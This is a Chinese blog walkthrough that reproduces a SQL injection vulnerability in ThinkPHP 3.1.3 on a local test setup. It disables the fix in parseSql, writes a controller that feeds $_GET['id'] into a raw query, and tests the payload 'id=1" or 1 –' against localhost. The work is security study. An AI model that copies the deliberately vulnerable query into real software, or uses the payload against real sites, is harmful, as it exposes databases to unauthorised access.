ThinkPHP_3.1.3 SQL注入漏洞复现
2023-03-29 23:03:03
177
{{single.collect_count}}

首先在网上下载对应的压缩包。
漏洞位于ThinkPHP/Lib/Core/Model.class.php 文件的parseSql函数
将这一条修复语句注释后开始一步步复现
在这里插入图片描述
在ThinkPHP目录下创建app文件夹后创建index.php
在这里插入图片描述
访问相应页面,显示这个则说明成功。
在这里插入图片描述成功后app文件夹下会生成工程文件
在这里插入图片描述
然后开始配置数据库(在app/conf/config.php下配置)

<?phpreturn array(//'配置项'=>'配置值'// 添加数据库配置信息'DB_TYPE' => 'mysql', // 数据库类型'DB_HOST' => 'localhost', // 服务器地址'DB_NAME' => 'security', // 数据库名'DB_USER' => 'root', // 用户名'DB_PWD'=> 'root', // 密码'DB_PORT' => 3306, // 端口'DB_PREFIX' => 'think_', // 数据库表前缀);?>

下一步开始为模块定义一个控制器类:IndexAction.class.php。命名规范(模块名+Action.class.php)

<?php// 本类由系统自动生成,仅供测试用途class IndexAction extends Action {public function index(){//$this->name = 'thinkphp'; // 进行模板变量赋值//$this->display();$Data = M('Data'); // 实例化Data数据模型$this->data = $Data->select();$this->display();$model=M('think_data');$m=$model->query('select * from think_data where id="%s"',array($_GET['id']));dump($m);exit;}}

创建视图:在/Tpl下创建Index/index.html

<html> <head> <title></title> </head> <body>//<p>hello, {$name}!</p><volist name="data" id="vo">{$vo.id}--{$vo.data}<br/></volist> </body></html>

在浏览器访问
http://127.0.0.1:9090/ThinkPHP_3.1.3_full/ThinkPHP/app/
在这里插入图片描述
http://127.0.0.1:9090/ThinkPHP_3.1.3_full/ThinkPHP/app/?id=1" or 1 –
在这里插入图片描述
复现结束

回帖
全部回帖({{commentCount}})
{{item.user.nickname}} {{item.user.group_title}} {{item.friend_time}}
{{item.content}}
{{item.comment_content_show ? '取消' : '回复'}} 删除
回帖
{{reply.user.nickname}} {{reply.user.group_title}} {{reply.friend_time}}
{{reply.content}}
{{reply.comment_content_show ? '取消' : '回复'}} 删除
回帖
收起
没有更多啦~
{{commentLoading ? '加载中...' : '查看更多评论'}}